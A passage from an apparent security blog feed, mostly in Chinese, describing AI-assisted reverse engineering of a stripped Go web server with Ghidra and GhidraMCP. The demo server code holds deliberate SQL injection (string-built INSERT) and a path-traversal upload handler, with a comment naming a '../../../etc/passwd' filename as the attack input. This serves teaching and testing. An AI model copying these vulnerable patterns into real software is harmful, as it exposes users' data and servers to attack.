class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 SQL injection 漏洞：使用字串拼接而非參數化查詢</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以及上傳檔案時的 path traversal：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 path traversal 漏洞：直接使用 file.Filename，未經 filepath.Clean 或 filepath.Base 過濾</span>  <span class="token comment">// 攻擊者可上傳 filename="../../../etc/passwd" 等路徑穿越到系統其他位置</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 更新 user 的 avatar_path</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>寫完之後呢，用這個指令去 build，把該拿的都拿掉，模擬更真實的情境：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="前置作業">前置作業</span></h2><p>因為我們的 binary 是 stripped 的，相關符號都被拿掉了，因此找個好用的 plugin 可以更方便幫我們還原 Golang 相關的東西，我選的是這個：<a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>在分析的時候記得把相關選項勾上：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>分析完以後，在 Ghidra 中其實就能看到更詳細的資訊了：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>但這樣也還是手動去看嘛，像我這種根本不會操作 Ghidra 的人，只會把 binary 丟進去而已，要我看我也不知道怎麼看。</p><p>因此我們再來裝個真正讓 AI 跟 Ghidra 搭上線的東西：<a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>，這個有大概兩三個版本用的人好像都滿多，我就隨意挑了一個看起來文件寫得比較好，比較方便跑起來的。</p><p>裝好並且在 Ghidra 啟用之後，在 AI 那邊配置好 MCP，例如說我用的是 Cursor，就這樣配：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>到這一步為止，前置作業就準備好了。</p><p>話說我拿來示範的是 Cursor，但其實只要是 AI agent 都行，你用 codex、claude code、open code 什麼的都一樣，能接 MCP 就都可以。</p><h2><span id="開始使喚-ai-agent-做事">開始使喚 AI agent 做事</span></h2><p>接下來就是用嘴逆向的時候了，我就只是這樣先跟他講而已：</p><blockquote><p>我現在正在逆向一個 golang 的 binary，請幫我使用 ghidra MCP 協助，幫我看一下他是什麼樣的程式，有哪些功能</p></blockquote><p>他就會開始自己呼叫 MCP，搜尋他想要的東西：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4.png" alt="mcp call"></p><p>最後給出了這個 binary 用到的 library：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5.png" alt="reversed libraty"></p><p>以及 API 路由：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6.png" alt="reversed api route"></p><p>認證相關的邏輯：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p7.png" alt="auth logic"></p><p>還有推測出的檔案結構：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8.png" alt="file structure"></p><p>接著我就讓他根據推測出來的結構，幫我再把反編譯得到的 C 弄回去 Golang，他就列了幾個 todo 之後開始他的工作：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9.png" alt="c to golang"></p><p>結果它逆向出來的 routes.go 長這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  <span class="token comment">// 公開路由 - 不需要認證</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 需要認證的路由</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>程式碼的結構跟原始的有些微不同，代表沒有作弊（？），話說我是讓他在不同 context 底下跑的，所以他確實是看不到原本的 Golang 原始碼沒錯。</p><p>總之，反推回來的程式碼清晰可讀，但有小部分錯誤，例如說 <code>/my-messages</code> 這個不存在，應該是 <code>/me/messages</code> 才對。<code>/avatar</code> 也應該是 <code>/me/avatar</code>，看來有部分地方應該被偷懶跳過了。</p><p>而註冊的地方則是這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>原本故意留做 SQL injection 的地方，現在反倒被修好了，代表他逆向出來的是錯的。</p><p>不過檔案上傳的那個 path traversal 還在，而且他有輕鬆找出來：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10.png" alt="vulnerability"></p><p>上面的結果因為我額度快用完了，所以是用 Cursor 自己出的 composer 1.5 模型，沒這麼聰明。</p><p>我換成 Opus 4.6 以後，同樣的 prompt 它還原完成之後還順便幫我做了個資安檢查，該找的漏洞有找出來，只是 route 的部分依舊有錯，<code>/me</code> 變成了 <code>/my</code>，我以為這些應該是可以完整被還原的？</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11.png" alt="opus findings"></p><h2><span id="結語">結語</span></h2><p>得益於 AI agent 的進化外加 MCP 的機制，讓 agent 可以自由操作許多不同的軟體來幫助自動化。</p><p>老實說，我在逆向這件事情上有體驗到那些所謂的 vibe coder 在做產品時的喜悅，也就是：「沒想到不會寫 code 的我也可以弄出一個網站，雖然我不知道原理，但東西好像做出來了」。</p><p>但 vibe coding 會有許多不會寫 code 沒辦法發現的小問題，純靠 AI 逆向我想也是相同的。就像我一開始用 composer 1.5，出來的結果是錯的一樣。但換個方式想，整體流程跟 API endpoints 這些都是對的，也算是收穫不少了。</p><p>原本靠自己的話是 0 分，靠 AI 可以先拿到保底 60 分，怎麼想都很賺。</p><p>時代在進化，工具在進步，這篇想記錄一下自己靠著這些工具，用 AI agent 做簡單的逆向工程的流程。雖然說最後跑出來的結果還是有些許錯誤，但對於一個 web server 來說，拿到 binary 逆向之後得到的東西可以再結合動態測試去驗證，就算有點小錯誤，還是對於整體測試幫助很大。</p><p>這次跑完之後，我還是會覺得逆向工程很難，也還是覺得懂逆向的人很厲害。畢竟我這次跑的是小的 binary，大的我就不確定會怎樣了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。&lt;/p&gt;
&lt;p&gt;但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。&lt;/p&gt;
&lt;p&gt;不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。&lt;/p&gt;
&lt;p&gt;先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。&lt;/p&gt;
&lt;p&gt;而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>Using AI to Do Simple Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:57:47.804Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.</p><p>However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.</p><p>But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.</p><p>To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.</p><p>For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.</p><span id="more"></span><h2><span id="environment-preparation">Environment Preparation</span></h2><p>To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>For the content, I’ll just paste a few of the main files. One is the route:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token 